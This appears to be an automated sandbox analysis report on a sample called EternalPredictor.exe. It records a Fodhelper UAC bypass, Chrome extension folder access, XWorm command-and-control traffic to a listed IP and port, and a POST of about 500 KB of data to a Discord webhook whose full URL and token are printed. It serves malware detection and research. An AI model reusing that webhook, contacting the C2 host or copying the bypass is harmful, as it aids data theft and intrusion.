Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack	String decryptor: USB.exe
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack	String decryptor: %AppData%
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack	String decryptor: XClient.exe

Privilege Escalation

UAC bypass detected (Fodhelper)

Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Registry value created: NULL C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Registry value created: DelegateExecute

Source: EternalPredictor.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: EternalPredictor.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: program.exe, 00000008.00000002.1949490443.00007FFBA4217000.00000040.00000001.01000000.0000001A.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: program.exe, 00000008.00000002.1950555246.00007FFBA65AA000.00000040.00000001.01000000.00000015.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: eternal.exe, 00000002.00000002.3236463360.000000001BEE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: program.exe, 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.pdb source: powershell.exe, 00000033.00000002.1693664914.000001F880386000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: .pdb/ source: eternal.exe, 00000002.00000002.3239609657.000000001C289000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: eternal.exe, 00000002.00000002.3239609657.000000001C289000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: program.exe, 00000005.00000003.1516009158.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1955438323.00007FFBBB594000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: program.exe, 00000008.00000002.1950555246.00007FFBA6512000.00000040.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: program.exe, 00000005.00000003.1516009158.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1955438323.00007FFBBB594000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: program.exe, program.exe, 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb/? source: eternal.exe, 00000002.00000002.3236463360.000000001BEE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: program.exe, program.exe, 00000008.00000002.1950555246.00007FFBA65AA000.00000040.00000001.01000000.00000015.sdmp
Source:	Binary string: symbols\dll\mscorlib.pdbpdb` source: eternal.exe, 00000002.00000002.3239609657.000000001C289000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbf source: eternal.exe, 00000002.00000002.3236463360.000000001BF12000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbl source: eternal.exe, 00000002.00000002.3236463360.000000001BF12000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0C:\Windows\mscorlib.pdb source: eternal.exe, 00000002.00000002.3239609657.000000001C289000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: eternal.exe, 00000002.00000002.3239609657.000000001C289000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: program.exe, 00000008.00000002.1955863036.00007FFBBC341000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: eternal.exe, 00000002.00000002.3236463360.000000001BE50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: program.exe, 00000008.00000002.1954782727.00007FFBAB971000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: mscorlib.pdb source: eternal.exe, 00000002.00000002.3236463360.000000001BF12000.00000004.00000020.00020000.00000000.sdmp, eternal.exe, 00000002.00000002.3236463360.000000001BEE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: program.exe, program.exe, 00000008.00000002.1949877226.00007FFBA43D1000.00000040.00000001.01000000.00000018.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: eternal.exe, 00000002.00000002.3236463360.000000001BF12000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WA source: program.exe
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: program.exe, 00000008.00000002.1952893577.00007FFBAA4CB000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdbN0uP source: eternal.exe, 00000002.00000002.3236463360.000000001BEE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: program.exe, 00000008.00000002.1955626688.00007FFBBC151000.00000040.00000001.01000000.00000019.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: program.exe, 00000008.00000002.1952893577.00007FFBAA4CB000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: program.exe, 00000008.00000002.1955177805.00007FFBBAF31000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb63 source: eternal.exe, 00000002.00000002.3236463360.000000001BEE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.pdbhP source: powershell.exe, 00000033.00000002.1693664914.000001F880386000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: program.exe, program.exe, 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: program.exe, 00000008.00000002.1954529831.00007FFBAB941000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: indoC:\Windows\mscorlib.pdb source: eternal.exe, 00000002.00000002.3239609657.000000001C289000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: program.exe, 00000008.00000002.1953128317.00007FFBAA8E8000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: program.exe, program.exe, 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: program.exe, program.exe, 00000008.00000002.1951835790.00007FFBA66AE000.00000040.00000001.01000000.00000014.sdmp

Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C659280 FindFirstFileExW,FindClose,	5_2_00007FF72C659280
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C6583C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_00007FF72C6583C0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C671874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	5_2_00007FF72C671874
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C659280 FindFirstFileExW,FindClose,	8_2_00007FF72C659280
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C671874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_00007FF72C671874
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C6583C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	8_2_00007FF72C6583C0

Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.8:49725 -> 147.185.221.23:33942
Source: Network traffic	Suricata IDS: 2853193 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.8:49728 -> 147.185.221.23:33942

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 147.185.221.23

Source: global traffic

TCP traffic: 192.168.2.8:49709 -> 147.185.221.23:33942

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ip-api.com
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ip-api.com

Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.23

Source: C:\Users\user\AppData\Roaming\program.exe

Code function: 8_2_00007FFBAA49660C recv,

8_2_00007FFBAA49660C

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3

Source: program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1298867906041479188/X0YmXSYYuFGsCIlZL1CQlv_GeIoIWc3S1cksX7_7_e4Onj-TjaVqNzNpf_yEZ3AJvNBM HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 502440User-Agent: python-urllib3/2.2.3Content-Type: multipart/form-data; boundary=6672d82bd038a7446290ef714c16a718

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 17 Nov 2024 10:22:01 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1731838922x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kAafSwTRG6Fa%2FRJMOc3VGX0BCuXUtuULCwhFeDvjsJPZAKtziv3qP5ItX77L8Jqhu6pfvcjLVPS5rCQSNjrBh6haKFe%2BMITwUEfsxI6na0mnEuRFO4eXHDTPXwff"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=daade001e76c5346a9107562c463e493fd63bfc9-1731838921; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=ycNd0d26ksQwnFyG4f9aiNkPKG6_UonCz4_PyaZrPZI-1731838921537-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8e3eff479fd14623-DFW

Source: program.exe, 00000005.00000003.1522617049.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: program.exe, 00000005.00000003.1522617049.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525014783.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518928868.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1523219477.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518152976.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519577277.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1521981805.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518342111.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525292752.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519976627.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519169307.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519755657.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: program.exe, 00000005.00000003.1522617049.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525014783.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518928868.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1523219477.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000002.1959967086.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518152976.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519577277.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1521981805.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518342111.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525292752.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519976627.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519169307.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519755657.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: program.exe, 00000005.00000003.1522617049.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525014783.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518928868.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1523219477.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518152976.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519577277.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1521981805.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518342111.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525292752.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519976627.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519169307.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519755657.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: program.exe, 00000005.00000003.1522617049.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525014783.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518928868.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1523219477.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522617049.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518152976.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519577277.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1521981805.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518342111.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525292752.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519976627.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519169307.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519755657.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
